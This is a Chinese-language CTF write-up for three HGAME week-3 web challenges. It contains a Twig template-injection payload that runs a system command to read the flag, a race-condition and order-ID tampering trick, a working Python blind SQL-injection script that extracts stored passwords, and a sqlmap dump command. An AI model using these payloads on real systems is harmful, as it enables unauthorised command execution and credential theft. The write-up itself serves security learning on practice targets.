• HGAME-week3-web-wp


    hgame第三周(web ak)

    1.SecurityCenter

    先看看hint(**vendor是第三方库和插件放置的文件夹,一般来源于composer的安装)

    找到了使用的twig模板,应该是twig模板注入

    查博客

    ……中间省去了测试某些东西被过滤的过程……

    最后依葫芦画瓢http://146.56.223.34:60036/redirect.php?url={{["base64 /flag"]|map("system")}}

    进入了安全中心,应该不用点跳转了,Array前面就是base64编码(习惯了base都用basecrack,被misc套娃搞怕了)

    hgame{!Tw19-S5t11s^s00O0O_inter3st1n5!}

    2.Vidar shop demo

    这题的环境感觉不是很友好,报错藏在弹窗后面看不太到,貌似是:昵称长度足够,电话限制11位,密码大于10位(藏在弹窗下面

    进去之后

    抓个包把amount改成9999试试(只有9999个币,flag要10000)

    然并卵,想一想,那么其他几个便宜的徽章干嘛用呢? 条件竞争,也许是并发操作(查了一篇技术知乎):

    回到题目:

    我先尝试了手动购买多个订单,然后设置并发50删除订单,发现钱没有多退给我,反而可能变少,证实了并发操作是可以改变余额的。

    那么我们多来几个订单(为了测试),试试并发购买(虚拟机转主机了,因为虚拟机太慢)

    回到订单列表,买好了(如果看一下余额算一下发现少用了钱

    再退掉几个订单

    发现钱变多了!

    方法二:(无并发操作)购买买一个flag和一个徽章,在删除徽章的时候抓包,改一下flag的ID就可以了

    好耶 hgame{78ae16367b8c8f23f8bb81db0b1aa2d5bd909ef5a3f186f5e470303988c7e762}

    3.LoginMe

    先随便登一下

    json格式,常规测试之后猜测应该是sql注入

    盲注脚本

    python
    import requests
    import json
    url = 'http://5a51fa042c.login.summ3r.top:60067/login'
    flag = ''
    for i in range(1,2000):
       low = 32
       high = 128
       mid = (low+high)//2
       while(low<high):
        #    1' or (sqlite_version() GLOB '3.36.0') or '2'='1
        #   payload = "-1' or substr((select hex(group_concat(sql)) from uuussseeerrrsss),{0},1)>'{1}' or '2'='1 ".format(i,chr(mid))
           payload = "-1' or substr((select hex(group_concat(passWord)) from uuussseeerrrsss),{0},1)>'{1}' or '2'='1 ".format(i,chr(mid))
    
           datas = {
               "username": payload,
               "password": "1"
           }
           headers = {'Content-Type': 'application/json'}
           res = requests.post(url=url,headers=headers,data=json.dumps(datas))
    
           if 'success!' in res.text:      # 为真时,即判断正确的时候的条件
               low = mid+1
           else:
               high = mid
           mid = (low+high)//2
       if(mid ==32 or mid ==127):
           break
       flag = flag+chr(mid)
       print(flag)
    
    # print('\n'+bytes.fromhex(flag).decode('utf-8'))

    base解码一下:

    54c89486be811c26424c4335ed1af27e,应该是对应的密码,用户名应该是admin

    (题目环境5min重置一次,所以每次python跑出来的值都不一样,密码也就不同)

    …………………………

    还有一种看到的做法

    python3 sqlmap.py -r c:\Users\cys\Desktop\sql.txt --batch --random-agent -T uuussseeerrrsss -C password --dump –flush
    然后登录即可


    __EOF__

  • 本文作者: 时空·笙·兮
  • 本文链接: https://www.cnblogs.com/jackball24/p/15884547.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    YOLOS
    解决“org.apache.catalina.startup.Catalina.stopServer 未配置关闭端口。通过OS信号关闭服务器。服务器未关闭“
    (51单片机)第四章-键盘检测原理及应用实现-矩阵键盘检测
    开发了一个Java库的Google Bard API,可以自动化与AI对话了
    [附源码]计算机毕业设计springboot酒店在线预约咨询小程序
    【微服务】Day09
    【好文鉴赏】面试官说你回答的不够深入,怎么办?
    单视觉L2市场「鲶鱼」来了,掀起数据反哺高阶新打法
    可以识别到U盘,无法挂载,dev/目录下只有sda,没有sda1问题
    常见的JVM 面试题
  • 原文地址:https://www.cnblogs.com/jackball24/p/15884547.html